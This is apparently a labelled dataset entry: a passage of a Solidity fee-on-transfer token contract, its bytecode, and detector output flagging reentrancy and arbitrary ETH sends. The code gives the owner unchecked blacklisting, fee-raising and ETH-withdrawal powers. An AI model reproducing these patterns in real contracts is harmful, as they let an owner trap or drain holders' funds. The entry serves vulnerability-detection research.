uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000000 * 10**9; uint256 public _maxWalletSize = 20000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611aea565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611baf565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611c04565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611c30565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611c71565b61073f565b34801561038057600080fd5b5061020761038f366004611c9e565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611c71565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611cb9565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611c71565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d7565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611c9e565b610a8f565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611cb9565b610aee565b34801561050157600080fd5b50610207610510366004611cd2565b610b1d565b34801561052157600080fd5b50610274610530366004611c04565b610b77565b34801561054157600080fd5b50610274610550366004611c71565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610b84565b34801561058657600080fd5b50610207610595366004611d04565b610bba565b3480156105a657600080fd5b506102d46105b5366004611d88565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611cb9565b610c5b565b34801561060c57600080fd5b5061020761061b366004611c71565b610c8a565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611dc1565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611df6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611e22565b915050610656565b5050565b60006106cc338484610d74565b5060015b92915050565b60006106e3848484610e98565b610735843361073085604051806060016040528060288152602001611f3c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611385565b610d74565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611dc1565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611dc1565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc816113bf565b50565b6001600160a01b0381166000908152600260205260408120546106d0906113f9565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611dc1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611dc1565b6611c37937e0800081116108d257600080fd5b601555565b6000546001600160a01b031633146109015760405162461bcd60e51b815260040161064a90611dc1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190611e3d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fb9190611e3d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6c9190611e3d565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161064a90611dc1565b601454600160a01b900460ff1615610ad057600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b185760405162461bcd60e51b815260040161064a90611dc1565b601755565b6000546001600160a01b03163314610b475760405162461bcd60e51b815260040161064a90611dc1565b60095482111580610b5a5750600b548111155b610b6357600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610e98565b6012546001600160a01b0316336001600160a01b031614610ba457600080fd5b6000610baf306107ff565b90506107fc8161147d565b6000546001600160a01b03163314610be45760405162461bcd60e51b815260040161064a90611dc1565b60005b82811015610c55578160056000868685818110610c0657610c06611df6565b9050602002016020810190610c1b9190611c71565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4d81611e22565b915050610be7565b50505050565b6000546001600160a01b03163314610c855760405162461bcd60e51b815260040161064a90611dc1565b601655565b6000546001600160a01b03163314610cb45760405162461bcd60e51b815260040161064a90611dc1565b6001600160a01b038116610d195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b03848116911614801590610fec57506000546001600160a01b03838116911614155b1561127e57601454600160a01b900460ff16611085576000546001600160a01b038481169116146110855760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064a565b6015548111156110d75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161064a565b6001600160a01b03831660009081526010602052604090205460ff1615801561111957506001600160a01b03821660009081526010602052604090205460ff16155b6111715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161064a565b6014546001600160a01b038381169116146111a75760165481611193846107ff565b61119d9190611e5a565b106111a757600080fd5b60006111b2306107ff565b6017546015549192508210159082106111cb5760155491505b8080156111e25750601454600160a81b900460ff16155b80156111fc57506014546001600160a01b03868116911614155b80156112115750601454600160b01b900460ff165b801561123657506001600160a01b03851660009081526005602052604090205460ff16155b801561125b57506001600160a01b03841660009081526005602052604090205460ff16155b1561127b576112698261147d565b47801561127957611279476113bf565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112c057506001600160a01b03831660009081526005602052604090205460ff165b806112f257506014546001600160a01b038581169116148015906112f257506014546001600160a01b03848116911614155b156112ff57506000611379565b6014546001600160a01b03858116911614801561132a57506013546001600160a01b03848116911614155b1561133c57600854600c55600954600d555b6014546001600160a01b03848116911614801561136757506013546001600160a01b03858116911614155b1561137957600a54600c55600b54600d555b610c55848484846115f7565b600081848411156113a95760405162461bcd60e51b815260040161064a9190611baf565b5060006113b68486611e72565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156114605760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b600061146a611625565b90506114768382611648565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114c5576114c5611df6565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561151e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115429190611e3d565b8160018151811061155557611555611df6565b6001600160a01b03928316602091820292909201015260135461157b9130911684610d74565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b4908590600090869030904290600401611e89565b600060405180830381600087803b1580156115ce57600080fd5b505af11580156115e2573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806116045761160461168a565b61160f8484846116b8565b80610c5557610c55600e54600c55600f54600d55565b60008060006116326117af565b90925090506116418282611648565b9250505090565b600061147683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f1565b600c5415801561169a5750600d54155b156116a157565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116ca8761181f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fc908761187c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172b90866118be565b6001600160a01b03891660009081526002602052604090205561174d8161191d565b6117578483611967565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179c91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117cb8282611648565b8210156117e857505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118125760405162461bcd60e51b815260040161064a9190611baf565b5060006113b68486611efa565b600080600080600080600080600061183c8a600c54600d5461198b565b925092509250600061184c611625565b9050600080600061185f8e8787876119e0565b919e509c509a509598509396509194505050505091939550919395565b600061147683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611385565b6000806118cb8385611e5a565b9050838110156114765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b6000611927611625565b905060006119358383611a30565b3060009081526002602052604090205490915061195290826118be565b30600090815260026020526040902055505050565b600654611974908361187c565b60065560075461198490826118be565b6007555050565b60008080806119a5606461199f8989611a30565b90611648565b905060006119b8606461199f8a89611a30565b905060006119d0826119ca8b8661187c565b9061187c565b9992985090965090945050505050565b60008080806119ef8886611a30565b905060006119fd8887611a30565b90506000611a0b8888611a30565b90506000611a1d826119ca868661187c565b939b939a50919850919650505050505050565b600082611a3f575060006106d0565b6000611a4b8385611f1c565b905082611a588583611efa565b146114765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b8035611ae581611ac5565b919050565b60006020808385031215611afd57600080fd5b823567ffffffffffffffff80821115611b1557600080fd5b818501915085601f830112611b2957600080fd5b813581811115611b3b57611b3b611aaf565b8060051b604051601f19603f83011681018181108582111715611b6057611b60611aaf565b604052918252848201925083810185019188831115611b7e57600080fd5b938501935b82851015611ba357611b9485611ada565b84529385019392850192611b83565b98975050505050505050565b600060208083528351808285015260005b81811015611bdc57858101830151858201604001528201611bc0565b81811115611bee576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1757600080fd5b8235611c2281611ac5565b946020939093013593505050565b600080600060608486031215611c4557600080fd5b8335611c5081611ac5565b92506020840135611c6081611ac5565b929592945050506040919091013590565b600060208284031215611c8357600080fd5b813561147681611ac5565b80358015158114611ae557600080fd5b600060208284031215611cb057600080fd5b61147682611c8e565b600060208284031215611ccb57600080fd5b5035919050565b60008060008060808587031215611ce857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1957600080fd5b833567ffffffffffffffff80821115611d3157600080fd5b818601915086601f830112611d4557600080fd5b813581811115611d5457600080fd5b8760208260051b8501011115611d6957600080fd5b602092830195509350611d7f9186019050611c8e565b90509250925092565b60008060408385031215611d9b57600080fd5b8235611da681611ac5565b91506020830135611db681611ac5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3657611e36611e0c565b5060010190565b600060208284031215611e4f57600080fd5b815161147681611ac5565b60008219821115611e6d57611e6d611e0c565b500190565b600082821015611e8457611e84611e0c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed95784516001600160a01b031683529383019391830191600101611eb4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3657611f36611e0c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2bf6c675f4e420b48d4b697eee0e1d4e2f44adf4ff9b07a5578095067ebf15f64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,099